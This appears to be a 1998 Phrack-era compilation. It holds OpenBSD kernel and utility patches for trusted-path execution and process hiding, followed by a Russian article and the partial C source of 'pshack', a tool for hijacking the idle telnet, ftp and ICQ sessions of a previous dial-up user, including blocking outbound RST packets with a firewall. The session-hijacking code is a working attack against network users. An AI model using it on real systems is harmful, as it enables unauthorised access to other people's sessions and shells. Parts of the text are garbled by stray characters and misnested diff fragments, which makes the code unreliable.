    fprintf(stderr, "usage: tpe_adm [-a UID]    Add a UID to the trust list\n"
        "        [-d UID]    Delete a UID from the list\n"
        "        [-l e|n]    Toggle LD_* usage\n"
        "        [-l s]    Show status of ld.so protection\n"
        "        [-s]    Show the current list\n");
}

/* <+> TPE/Core/Patch/TPE-diff */
--- ./kern/init_main.c Tue Sep 15 23:21:08 1998
+++ ../Core/kern/init_main.c Sun Oct 18 12:26:24 1998

```

```

@@ -80,6 +80,7 @@

#include <sys/syscall.h>
#include <sys/syscallargs.h>
+#include <sys/kern_tpe.h>

#include <ufs/ufs/quota.h>

@@ -424,6 +425,16 @@
    □srandom((u_long)(rtv.tv_sec ^ rtv.tv_usec));

    □randompid = 1;
+
+    tpe_init();
+    printf("Trusted patch execution list initialized\n");
+    /*
+     * root must be added hard at this point. For safety's sake, the
+     * userland agent can't do anything with UID 0 to prevent morons
+     * from locking themselves out of their machines.
+     */
+    tpe_add(0);
+
    □/* The scheduler is an infinite loop. */
    □scheduler();
    □/* NOTREACHED */
--- ./kern/syscalls.master□Thu Sep 17 13:54:04 1998
+++ ../Core/kern/syscalls.master□Sun Oct 18 12:35:59 1998
@@ -479,7 +479,8 @@
242□UNIMPL
243□UNIMPL
244□UNIMPL
-245□UNIMPL
+245□STD          { int sys_tpe_adm(int mode, uid_t candidate, \
+                      uid_t *list); }
+
246□UNIMPL
247□UNIMPL
248□UNIMPL
--- ./kern/kern_exec.c□Thu Sep 24 11:49:31 1998
+++ ../Core/kern/kern_exec.c□Sun Oct 18 12:32:03 1998
@@ -51,12 +51,16 @@
#include <sys/mman.h>
#include <sys/signalvar.h>
#include <sys/stat.h>
+#include <ufs/ufs/quota.h>
+#include <ufs/ufs/inode.h>
#ifdef SYSVSHM
#include <sys/shm.h>
#endif

#include <sys/syscallargs.h>
-
+#include <sys/kern_tpe.h>
+#include <sys/system.h>
+
+    #include <vm/vm.h>
+    #include <vm/vm_kern.h>

@@ -93,6 +97,7 @@
    □struct exec_package *epp;
    {
    □int error, i;
+
+    struct vattr at;
    □struct vnode *vp;
    □struct nameidata *ndp;
    □size_t resid;
@@ -146,6 +151,30 @@
@@ -146,6 +151,30 @@
    □if (error)
    □□goto bad2;
    □epp->ep_hdrvalid = epp->ep_hdrlen - resid;
+
+    /*

```



```

+      * Get the file attributes of the parent directory that the
+      * executable lives in.
+      */
+      if ((error = VOP_GETATTR(ndp->ni_dvp, &at, NULL, NULL)) != 0)
+      {
+          goto bad2;
+      }
+
+      /*
+      * Trusted path check.
+      */
+      if (!TRUSTED_PATH(at))
+      {
+          /*
+          * Trusted user check.
+          */
+          if (!TRUSTED_USER(p->p_ucred->cr_uid))
+          {
+              error = EACCES;
+              goto bad2;
+          }
+      }
+
+      }
+
+  /*
+  * set up the vmcmds for creation of the process
+  --- ./conf/files Sun Sep 27 19:43:22 1998
+  +++ ../Core/conf/files Sun Oct 18 12:40:28 1998
+  @@ -209,6 +209,8 @@
+      file kern/kern_sysctl.c
+      file kern/kern_synch.c
+      file kern/kern_time.c
+  +file kern/kern_tpe.c
+  +file kern/kern_tpe_sys.c
+      file kern/kern_xxx.c
+      file kern/subr_autoconf.c
+      file kern/subr_disk.c
+
+  /* <+++ TPE/Core/kern/kern_tpe.c */
+  /*
+  * $Id: P54-06,v 1.16 1998/12/10 00:01:28 route Exp $
+  * Trusted path ACL implementation for OpenBSD 2.4
+  *
+  * Copyright (c) 1998 route|daemon9 and Mike D. Schiffman
+  * All rights reserved.
+  * Originally published in Phrack Magazine (https://phrack.org).
+  *
+  * Thanks to nirva for helping me choose an ADT.
+  * See <sys/kern_tpe.h> for more info.
+  *
+  * Redistribution and use in source and binary forms, with or without
+  * modification, are permitted provided that the following conditions
+  * are met:
+  * 1. Redistributions of source code must retain the above copyright
+  *    notice, this list of conditions and the following disclaimer.
+  * 2. Redistributions in binary form must reproduce the above copyright
+  *    notice, this list of conditions and the following disclaimer in the
+  *    documentation and/or other materials provided with the distribution.
+  *
+  * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+  * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+  * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+  * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+  * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+  * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+  * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+  * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+  * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+  * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+  * SUCH DAMAGE.
+  *
+  */

```

```

#include <sys/kern_tpe.h>

void
tpe_init()
{
    memset(tpe_acl, TPE_INITIALIZER, sizeof(uid_t) * TPE_ACL_SIZE);
    tpe_acl_candidates = 0;
    tpe_ld_check = 1;
#if (AUTO_ADD_ROOT)
    tpe_acl[0] = 0;
#endif
}

void
tpe_show()
{
    int i;

    printf("%d trusted users: ", tpe_acl_candidates);
    for (i = 0; i < tpe_acl_candidates; i++)
    {
        printf("%d ", tpe_acl[i]);
    }
    printf("\n");
}

int
tpe_add(uid_t candidate)
{
    if (tpe_acl_candidates == TPE_ACL_SIZE)
    {
        /*
         * Full list.
         */
        return (NACK);
    }

    /*
     * Don't add duplicates.
     */
    if ((tpe_search(candidate, 0, tpe_acl_candidates)) == NACK)
    {
        /*
         * Add to the end of the list, then sort.
         */
        tpe_acl_candidates++;
        tpe_acl[tpe_acl_candidates] = candidate;
        tpe_sort(0, tpe_acl_candidates);

        printf("tpe: UID %d added to trust list\n", candidate);
    }
    else
    {
        printf("tpe: duplicate UID %d not added\n", candidate);
    }
    return (ACK);
}

int
tpe_remove(uid_t candidate)
{
    int n;

    if (tpe_acl_candidates == 0)
    {
        /*
         * Empty list.
         */
    }

```

```

        return (NACK);
}
if ((n = tpe_search(candidate, 0, tpe_acl_candidates)) != NACK)
{
    /*
     * Remove the candidate (mark the slot as unused), resort the list.
     */
    tpe_acl[n] = TPE_INITIALIZER;
    tpe_acl_candidates--;
    tpe_sort(0, tpe_acl_candidates);

    printf("tpe: UID %d removed from trust list\n", candidate);
    return (ACK);
}
/*
 * Not found.
 */
return (NACK);
}

```

```

int
tpe_verify(uid_t candidate)
{
    if ((tpe_search(candidate, 0, tpe_acl_candidates)) != NACK)
    {
        return (ACK);
    }
    else
    {
        return (NACK);
    }
}

```

```

void
tpe_sort(int low, int high)
{
    int i, j, n;

    /*
     * Standard insertion sort.
     */
    for (i = low + 1; i <= high; i++)
    {
        COMPSWAP(tpe_acl[low], tpe_acl[i]);
    }

    for (i = low + 2; i <= high; i++)
    {
        j = i;
        n = tpe_acl[i];
        while (LESS(n, tpe_acl[j - 1]))
        {
            tpe_acl[j] = tpe_acl[j - 1];
            j--;
        }
        tpe_acl[j] = n;
    }
}

```

```

int
tpe_search(uid_t candidate, int low, int high)
{
    int n;

    /*
     * Standard binary search. XXX - should be iterative.
     */
    n = (low + high) / 2;

```

```

    if (low > high)
    {
        return (NACK);
    }
    if (candidate == tpe_acl[n])
    {
        return (n);
    }
    if (low == high)
    {
        return (NACK);
    }
    if (LESS(candidate, tpe_acl[n]))
    {
        return (tpe_search(candidate, low, n - 1));
    }
    else
    {
        return (tpe_search(candidate, n + 1, high));
    }
}

/* EOF */

/* <+> TPE/Core/kern/kern_tpe_sys.c */
/*
 * $Id: P54-06,v 1.16 1998/12/10 00:01:28 route Exp $
 * Trusted path ACL syscall implementation for OpenBSD 2.4
 *
 * Copyright (c) 1998 route|daemon9 and Mike D. Schiffman
 * All rights reserved.
 * Originally published in Phrack Magazine (https://phrack.org).
 *
 * Thanks to nirva for helping me choose an ADT.
 * See <sys/kern_tpe.h> for more info.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 * notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 * notice, this list of conditions and the following disclaimer in the
 * documentation and/or other materials provided with the distribution.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
 * SUCH DAMAGE.
 */

#include <sys/kern_tpe.h>
#include <sys/system.h>

#include <sys/mount.h>
#include <sys/syscallargs.h>

int
sys_tpe_adm(p, v, retval)
    struct proc *p;
    void *v;
    register_t *retval;

```

```

{
    struct sys_tpe_adm_args /* {
        syscallarg(int) mode;
        syscallarg(uid_t) candidate;
        syscallarg(uid_t *) list;
    } */ *uap = v;
    register struct pcred *pc = p->p_cred;
    register int i;
    register uid_t *lp;

    /*
     * The only thing a non root user can do is check the status of the
     * ld.so environment protection. This is necessary because ld.so
     * runs without elevated privilidges and needs to check this.
     */
    if (suser(pc->pc_ucred, &p->p_acflag) && SCARG(uap, mode) != TPE_LDCHECK_S)
    {
        return (EPERM);
    }

    switch (SCARG(uap, mode))
    {
    case TPE_ADD:
        if (tpe_add(SCARG(uap, candidate)) == ACK)
        {
            return (0);
        }
        else
        {
            return (ENOSPC);          /* Ugh. Best we can do. */
        }
    case TPE_REMOVE:
        if (tpe_remove(SCARG(uap, candidate)) == ACK)
        {
            return (0);
        }
        else
        {
            return (ENOSPC);          /* Ugh. */
        }
    case TPE_SHOW:
        lp = SCARG(uap, list);
        if (lp == NULL)
        {
            return (ENOSPC);
        }
        else
        {
            for (i = 0; i < TPE_ACL_SIZE; i++)
            {
                lp[i] = tpe_acl[i];
            }
            return (0);
        }
    case TPE_LDCHECK_E:
        tpe_ld_check = 1;
        return (0);
    case TPE_LDCHECK_D:
        tpe_ld_check = 0;
        return (0);
    case TPE_LDCHECK_S:
        lp = SCARG(uap, list);
        if (lp == NULL)
        {
            return (ENOSPC);
        }
        else /* XXX - sysctl would be cleaner. */
        {
            lp[0] = tpe_ld_check;
            return (0);
        }
    }
}

```

```

        default:
            return (ENXIO);                /* Ugh. */
    }
    return (ENXIO);
}

/* <+> TPE/Core/sys/kern_tpe.h */
/*
 * $Id: P54-06,v 1.16 1998/12/10 00:01:28 route Exp $
 * Trusted path ACL implementation for OpenBSD 2.4
 *
 * Copyright (c) 1998 route|daemon9 and Mike D. Schiffman
 * All rights reserved.
 * Originally published in Phrack Magazine (https://phrack.org).
 *
 * Thanks to nirva for helping me choose an ADT.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
 * SUCH DAMAGE.
 *
 * Trusted path ACL implementation for OpenBSD 2.4
 *
 * For the full write-up please see Phrack Magazine, issue 54, article 6
 * https://phrack.org
 *
 * Overview:
 *
 * A trusted path/ACL execution implementation for OpenBSD. We consider
 * a path to be trusted if the parent directory is owned by root and is not
 * group or world writable. We consider a user to be trusted if she is on
 * the kernels trust list.
 *
 * Implementation details:
 *
 * Inside the kern_exec function, we first check the path for trust, if that
 * fails, we then check the user's credentials to see if she is able to run
 * binaries in an untrusted path. Untrusted users are not allowed to execute
 * programs from untrusted pathes.
 *
 * The decision was made to use a static array to hold the trusted IDs
 * for both convenience and runtime efficiency. We keep the list ordered
 * after all insertions and deletions, and therefore, we can search the list
 * (where speed is critical) in a worst case of  $O(\lg N)$ . Compare that with a
 * sequential search in an ordered list which has a worst case of  $O(N)$ .
 * □
 * The speed in which user ID verification is done is absolutely essential,
 * as this check will be done for every call to exec that does not originate
 * from a trusted path. This has the potential to be a huge bottle neck.
 * This was taken into consideration and the bulk of processing overhead is
 * offloaded to list initialization and modification.
 */

#ifdef __KERN_TPE_H

```

```

#define __KERN_TPE_H

#ifdef _KERNEL
#include <sys/types.h>
#include <sys/cdefs.h>
#include <sys/system.h>
#include <sys/param.h>
#include <sys/ucrd.h>
#include <sys/proc.h>
#endif

/*
 * syscall stuff
 */
#define TPE_ADD      0      /* add an entry */
#define TPE_REMOVE   1      /* delete an entry */
#define TPE_SHOW     2      /* show the list */
#define TPE_LDCHECK_E 3      /* enable ld.so environment checking */
#define TPE_LDCHECK_D 4      /* disable ld.so environment checking */
#define TPE_LDCHECK_S 5      /* show ld.so environment check status */

#define TPE_ACL_SIZE 80      /* Shouldn't need to be larger */
#define TPE_INITIALIZER -1    /* A UID that isn't used */

#define ACK          1      /* positive acknowledgement */
#define NACK          -1    /* negative acknowledgement */

#define LESS(X, Y)    (X < Y)
#define SWAP(X, Y)    (X ^= Y, Y ^= X, X ^= Y)
#define COMPSWAP(X, Y) if (LESS(Y, X)) SWAP(X, Y)

/*
 * Verify the path. This macro is passed a filled in attr struct via
 * VOP_GETATTR.
 */
#define TRUSTED_PATH(AT) \
(! (AT.va_mode & (S_IWGRP | S_IWOTH)) && (AT.va_uid == 0))

/*
 * Verify the user. This macro is passed the user's ID from the u_cred
 * struct.
 */
#define TRUSTED_USER(UID) (tpe_verify(UID) == ACK)

uid_t tpe_acl[TPE_ACL_SIZE]; /* trusted user list */
int tpe_acl_candidates; /* number of users on the list */
int tpe_ld_check; /* check ld.so env */

/*
 * Initialize the array with default values (TPE_INITIALIZER).
 */
void
tpe_init __P((
    void
));

/*
 * Dump the list.
 */
void
tpe_show __P((
    void
));

/*
 * Attempt to add a candidate to the list. Only fails if the list is full.
 */
int
tpe_add __P((

```

```

    uid_t __P((
    ));

/*
 * Attempt to remove a candidate from the list. Only fails if the entry is
 * not there.
 */
int
tpe_remove __P((
    uid_t __P(( /* candidate user for deletion */
    ));

/*
 * Verify a candidate user.
 */
int
tpe_verify __P((
    uid_t __P(( /* candidate user for verification */
    ));

/*
 * Insertion sort the list.
 */
void
tpe_sort __P((
    int, /* list low element */
    int, /* list high element */
    ));

/*
 * Locate a uid in the list, standard recursive binary search, running in
 * worst case of lg N.
 */
int
tpe_search __P((
    uid_t, /* candidate user to search for */
    int, /* list low element */
    int, /* list high element */
    ));

#endif /* __KERN_TPE_H */
/* EOF */

/* <+> PP/Patch/PP-diff */
--- ./usr.bin/fstat/fstat.c.orig Tue Oct 20 10:43:58 1998
+++ ./usr.bin/fstat/fstat.c Tue Oct 20 10:47:22 1998
@@ -158,6 +158,7 @@
     char *memf, *nlistf;
     char buf[_POSIX2_LINE_MAX];
     int cnt;
+    pid_t __uid;

     arg = 0;
     what = KERN_PROC_ALL;
@@ -248,7 +249,12 @@
     else
         putchar('\n');

+    __uid = getuid();
+    for (plast = &p[cnt]; p < plast; ++p) {
+        if (__uid)
+        {
+            if (p->kp_eproc.e_pcred.p_ruid != __uid) continue;
+        }
+        if (p->kp_proc.p_stat == SZOMB)
+            continue;
+        dofiles(p);

```



```

--- ./bin/ps/ps.c.orig Tue Oct 20 10:48:40 1998
+++ ./bin/ps/ps.c Tue Oct 20 10:51:26 1998
@@ -112,6 +112,7 @@
    dev_t ttydev;
    pid_t pid;
    uid_t uid;
+   uid_t __uid;
    int all, ch, flag, i, fmt, lineno, nentries;
    int prthead, wflag, what, xflag;
    char *nlistf, *memf, *swapf, errbuf[_POSIX2_LINE_MAX];
@@ -281,6 +282,8 @@
    if (!all && ttydev == NODEV && pid == -1) /* XXX - should be cleaner */
        uid = getuid();

+   __uid = getuid();
+
    /*
     * scan requested variables, noting what structures are needed,
     * and adjusting header widths as appropriate.
@@ -330,6 +333,20 @@
    for (i = lineno = 0; i < nentries; i++) {
        KINFO *ki = &kinfo[i];

+       /*
+        * root gets to see the whole proccess list.
+        */
+       if (__uid)
+       {
+           /*
+            * If the process in question is not our own, we do not
+            * get to see it.
+            */
+           if (kinfo[i].ki_p->kp_eproc.e_pcred.p_ruid != __uid)
+           {
+               continue;
+           }
+       }
        if (xflag == 0 && (KI_EPROC(ki)->e_tdev == NODEV ||
            (KI_PROC(ki)->p_flag & P_CONTROLT) == 0))
            continue;
--- ./usr.bin/w/w.c.orig Tue Oct 20 10:52:02 1998
+++ ./usr.bin/w/w.c Tue Oct 20 10:54:46 1998
@@ -131,6 +131,7 @@
    int ch, i, nentries, nusers, wcmd;
    char *memf, *nlistf, *p, *x;
    char buf[MAXHOSTNAMELEN], errbuf[_POSIX2_LINE_MAX];
+   uid_t __uid;

    /* Are we w(1) or uptime(1)? */
    p = __progname;
@@ -332,6 +333,14 @@
        ep->utmp.ut_host + UT_HOSTSIZE - x, x);
        p = buf;
    }

+   __uid = getuid();
+   if (__uid)
+       (void)printf("%-*.s %-2.2s %-*.s ",
+                   UT_NAMESIZE, UT_NAMESIZE, ep->utmp.ut_name,
+                   strncmp(ep->utmp.ut_line, "tty", 3) ?
+                   ep->utmp.ut_line : ep->utmp.ut_line + 3,
+                   UT_HOSTSIZE, UT_HOSTSIZE, "<skulking about>");
+   else
        (void)printf("%-*.s %-2.2s %-*.s ",
                    UT_NAMESIZE, UT_NAMESIZE, ep->utmp.ut_name,
                    strncmp(ep->utmp.ut_line, "tty", 3) ?
@@ -339,7 +348,14 @@
        UT_HOSTSIZE, UT_HOSTSIZE, *p ? p : "-");
    pr_atime(&ep->utmp.ut_time, &now);
    pr_idle(ep->idle);
-    pr_args(ep->kp);
+   if (__uid)

```

```

+         {
+             printf("<this n' that>");
+         }
+         else
+         {
+             pr_args(ep->kp);
+         }
+     }
+     printf("\n");
+ }
+ exit(0);
--- ./usr.bin/who/who.c.orig Tue Aug 19 22:37:21 1997
+++ ./usr.bin/who/who.c Tue Oct 20 10:57:04 1998
@@ -227,6 +227,7 @@
+ char state = '?';
+ static time_t now = 0;
+ time_t idle = 0;
+ uid_t __uid;

+ if (show_term || show_idle) {
+     if (now == 0)
@@ -265,8 +266,15 @@
+     (void)printf(" old ");
+ }
+
+ if (*up->ut_host)
+ printf("\t(%.s)", UT_HOSTSIZE, up->ut_host);
+ __uid = getuid();
+ if (__uid)
+ {
+     printf("\t<skulking about>");
+ }
+ else if (*up->ut_host)
+ {
+     printf("\t(%.s)", UT_HOSTSIZE, up->ut_host);
+ }
+ (void)putchar('\n');
+ }

/* <+++ TPE/Core/Patch/ld.so-diff */
--- gnu/usr.bin/ld/rtld/rtld.c.old Thu Oct 22 20:44:52 1998
+++ gnu/usr.bin/ld/rtld/rtld.c Sat Oct 24 16:44:00 1998
@@ -39,6 +39,8 @@
+ #include <sys/resource.h>
+ #include <sys/errno.h>
+ #include <sys/mman.h>
+ #include <sys/syscall.h>
+ #include "/usr/src/sys/sys/kern_tpe.h"
+ #ifndef MAP_COPY
+ #define MAP_COPY MAP_PRIVATE
+ #endif
@@ -150,7 +152,9 @@
+ static uid_t __uid, euid;
+ static gid_t __gid, egid;
+ static int __careful;
+ static int __tpe_ld_strip;
+ static int __anon_fd = -1;
+ static uid_t list[TPE_ACL_SIZE];

+ struct so_map __link_map_head, *main_map;
+ struct so_map __link_map_tail = &link_map_head;
@@ -271,7 +275,20 @@

+ careful = (uid != euid) || (gid != egid);

+ if (careful) {
+     if (syscall(SYS_tpe_adm, TPE_LDCHECK_S, -1, list) == -1)
+     {
+         fprintf(stderr, "Unknown internal error\n"); /* should NOT fail */
+         exit(EXIT_FAILURE);
+     }
+     if (list[0] && uid)

```

```

+      {
+          if (getenv("LD_PRELOAD") || getenv("LD_LIBRARY_PATH"))
+          {
+              fprintf(stderr, "Your environment contains illegal variables which are being stripped out for security\n");
+          }
+          tpe_ld_strip = 1;
+      }
+  if (careful || tpe_ld_strip) {
+      unsetenv("LD_LIBRARY_PATH");
+      unsetenv("LD_PRELOAD");
+  }

```

---

**EOF**

# Поиск соединений в сетях с динамическими IP-адресами

**Автор:** Seth McGann ([www.el8.org](http://www.el8.org)), 29.11.98

---

## Цель

В данной статье описывается потенциально серьёзная брешь в сетях, использующих динамическое назначение IP-адресов. Речь идёт прежде всего о динамической адресации при коммутируемом доступе, которую предоставляет практически каждый провайдер. Описываемая проблема позволяет несанкционированно использовать соединения предыдущего владельца адреса — в частности, активные сессии telnet и управляющие сессии ftp. Проблема напоминает давнюю ситуацию с терминальными серверами, которые порой предоставляли уже аутентифицированную сессию пользователю, которому повезло дозвониться сразу после принудительного разрыва соединения из-за помех в линии или иных внешних факторов.

---

## Постановка проблемы

Для реализации атаки мы опираемся на хорошо известные концепции, обычно применяемые при не-слепом спуфинге или перехвате сессий. Прежде всего необходимо понять, как выглядит соединение после внезапной потери связи. Ключевой момент состоит в том, что соединение не исчезает немедленно: отключившийся хост не имеет возможности уведомить удалённую сторону о потере канала. Если удалённая сторона попытается отправить данные и обнаружит, что хост недоступен, вышестоящий маршрутизатор сгенерирует ICMP unreachable и соединение завершится. Если же новый коммутируемый пользователь подключится прежде, чем удалённая сторона отправит следующий пакет, картина будет иной. Для TCP-соединения ядро получит пакет, адресованный незанятому порту — как правило, с установленными флагами PUSH и ACK или просто ACK — и сгенерирует RST, тем самым закрыв соединение. На входящий UDP-пакет будет сгенерирован ICMP unreachable. В любом случае соединение прекратит существование.

---

## Решение

Решение двояко. Во-первых, необходимо запретить ядру уничтожать соединения, а во-вторых, обеспечить удалённой стороне иллюзию активности, чтобы избежать таймаутов. Для UDP ответ прост: достаточно заблокировать исходящие пакеты ICMP unreachable — удалённая сторона не разорвёт соединение. Разумеется, необходимо учитывать прикладные таймауты. С TCP дело сложнее: соединения погаснут, если на них не отвечать. Чтобы вредоносные RST-пакеты не достигали удалённой стороны, мы просто блокируем весь исходящий TCP-трафик. Для поддержания диалога мы отвечаем ACK на каждый входящий пакет PUSH|ACK, соответствующим образом увеличивая номера ACK и SEQ. Данные извлекаются из пакетов с установленным флагом PUSH. Кроме того, мы можем отправлять данные обратно по соединению, выставляя в исходящих

пакетах флаги PUSH и ACK.

---

## Реализация

Чтобы ядро не уничтожало латентные соединения, первым делом блокируем весь исходящий трафик. В Linux для этого подойдёт команда вида:

```
/sbin/ipfwadm -O -a deny -S 0.0.0.0/0 -P all -W ppp0
```

После этого ни RST-пакеты, ни ICMP не покидают машину. По существу мы отключаем сетевой стек ядра и берём управление в свои руки. К сожалению, это исключает использование сырых сокетов для отправки пакетов. Можно было бы применять SOCK\_PACKET, однако ради переносимости выбрана другая схема: брандмауэр временно открывается для отправки пакета и тут же закрывается снова. Для захвата пакетов с интерфейса используется libpcap 0.4, для их формирования — Libnet 0.8b. Программа называется pshack.c, поскольку именно это она и делает — рассылает ACK. Помимо этого, она позволяет отвечать на активные соединения на тот случай, если вам попадётся рут-шелл, а также принимать входящие соединения и отвечать на них. Следует отметить, что в настоящее время программа работает только под Linux — из-за различий в реализации межсетевого экрана. Это незначительное ограничение будет устранено в ближайшее время. Программа должна без проблем компилироваться на RedHat 5.1 и 4.2, а также на Slackware — при единственном изменении в заголовочном файле межсетевого экрана: необходимо убрать строку `#include` .

---

## Выводы

С помощью данной программы легко подхватить сессии telnet и ftp, а также практически любые слабонагруженные, простаивающие соединения. Наглядный пример UDP-перехвата — кража сессий ICQ. Очевидно, что потоковые соединения, такие как FTP-передача данных, будут уничтожены потоком ICMP прежде, чем их удастся перехватить. Примечательно, что хосты, отбрасывающие пакеты ICMP unreachable из опасения поддельных сообщений о недоступности, особенно уязвимы: их соединения не рвутся так быстро.

Зависимости:

```
libpcap 0.4 -> ftp://ftp.ee.lbl.gov/libpcap.tar.Z  
Libnet 0.8b -> http://www.infonexus.com/~daemon9/Projects/Libnet/
```

---

## Исходный код: pshack.c

```
/* - PshAck.c - Attempts to scavenge connections when you dial up an ISP.  
 * Author: Seth McGann <smm@wpi.edu> / www.el8.org (Check papers section)  
 * Date: 11/29/98  
 * Greet: dmess0r,napster,awr,all things w00w00,#203  
 * Version: 0.3  
 *  
 * Usage:  
 * 1. Dial up your ISP and start pshack up.  
 * 2. If you are lucky you will see connections you did not  
 *□□ make :)
```

```

*           3. Repeat the procedure.
* Options:
*       -i: The interface
*       -l: Link offset
*       -s: Your source IP
*
* Compiling: 'gcc pshack.c -o pshack -lnet -lpcap' should work given you have
*           libpcap and Libnet installed properly.
*
*           libpcap 0.4 : ftp://ftp.ee.lbl.gov/libpcap.tar.Z
*           Libnet 0.8b: http://www.infonexus.com/~daemon9/Projects/Libnet/
*
* Have fun!
*/

```

```

#define __BSD_SOURCE
#include <netinet/udp.h>
#define __FAVOR_BSD
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <syslog.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <net/if.h>
#include <libnet.h>
#include <pcap.h>
#include <netinet/ip_fw.h>
#include <setjmp.h>

/* #define DEBUGIT */

#ifdef DEBUGIT
#define DEFAULT_INTERFACE "eth1"
#define DEFAULT_OFFSET 14
#else
#define DEFAULT_INTERFACE "ppp0" /* Default is PPP with no linklayer */
#define DEFAULT_OFFSET 0
#endif

struct conn {
    □u_int    type;
    □u_long   src,dst,seq,ack;
    □u_short  sport,dport;
};

void clean_exit(int);
void time_out(int);
void usage(char *);
void dump_packet( u_char *, int );
int update_db( u_char *, int, struct conn*);
void dump_db (struct conn*);

char errbuf[2000];
sigjmp_buf env;

int
main (int argc, char **argv) {

    □struct ip      *ip_hdr;
    □struct tcphdr  *tcp_hdr;
    □struct udphdr  *udp_hdr;
    □struct ip_fw   fw;
    □struct ifreq   ifinfo;
    □struct pcap_pkthdr ph;
    □pcap_t         *pd;
    □u_long         local=0,seq,ack;

```

```

□u_short□      flags=0;
□u_char        *d_ptr,*packet;
□u_char□       *pbuf=malloc(TCP_H+IP_H+500);
□char □        iface[17],sendbuf[500];
□int           osock,sfd,linkoff,i,datalen,newsize,dbsize=0;
□struct conn   conn[100];          /* WAY more than enough */
□char arg;□
    fd_set rfd;
    struct timeval tv;
    int retval;
□char user[500];
□
□
    strcpy(iface,DEFAULT_INTERFACE);
    linkoff=DEFAULT_OFFSET;

□while((arg = getopt(argc,argv,"i:s:l:")) != EOF){
    switch(arg) {
□        case 's':
□            local=inet_addr(optarg);
□            break;
□        case 'i':
□            strncpy(iface,optarg,16);
□            break;
□        case 'l':
□            linkoff=atoi(optarg);
□            break;
□        default:
□            usage(argv[0]);
□            break;
□    }
    }

□printf("* Blocking till %s comes up *\n",iface);
□
    do {pd=pcap_open_live(iface,1500,0,500,errbuf);}while(!pd);
□
□printf("* Configuring Raw Output *\n");
□osock=open_raw_sock(IPPROTO_RAW);
    if (osock<0)perror("socket()"),exit(1);
□strcpy(ifinfo.ifr_ifrn.ifrn_name,iface);
    if(ioctl(osock,SIOCGIFFLAGS,&ifinfo)<0)perror("ioctl()"),exit(1);
    if(ioctl(osock,SIOCSIFFLAGS,&ifinfo)<0)perror("ioctl()"),exit(1);
    if(ioctl(osock,SIOCGIFADDR,&ifinfo)<0)perror("ioctl()"),exit(1);
□
    bcopy(&ifinfo.ifr_addr.sa_data[2],&local,4);
□printf("* Address: %s\n",host_lookup(local,0));

    printf("* Blocking Outbound on %s *\n",iface);
□sfd=socket(AF_INET,SOCK_RAW,IPPROTO_RAW);
    if(sfd<0) perror("socket()"),exit(1);

□bzero(&fw,sizeof(fw));
    strcpy(fw.fw_vianame,iface);
    #ifdef DEBUGIT
□fw.fw_flg=IP_FW_F_ICMP;
    if(setsockopt(sfd,IPPROTO_IP,IP_FW_INSERT_OUT,&fw,sizeof(fw))<0)
        perror("setsockopt()"),exit(1);
□fw.fw_flg=IP_FW_F_TCP;
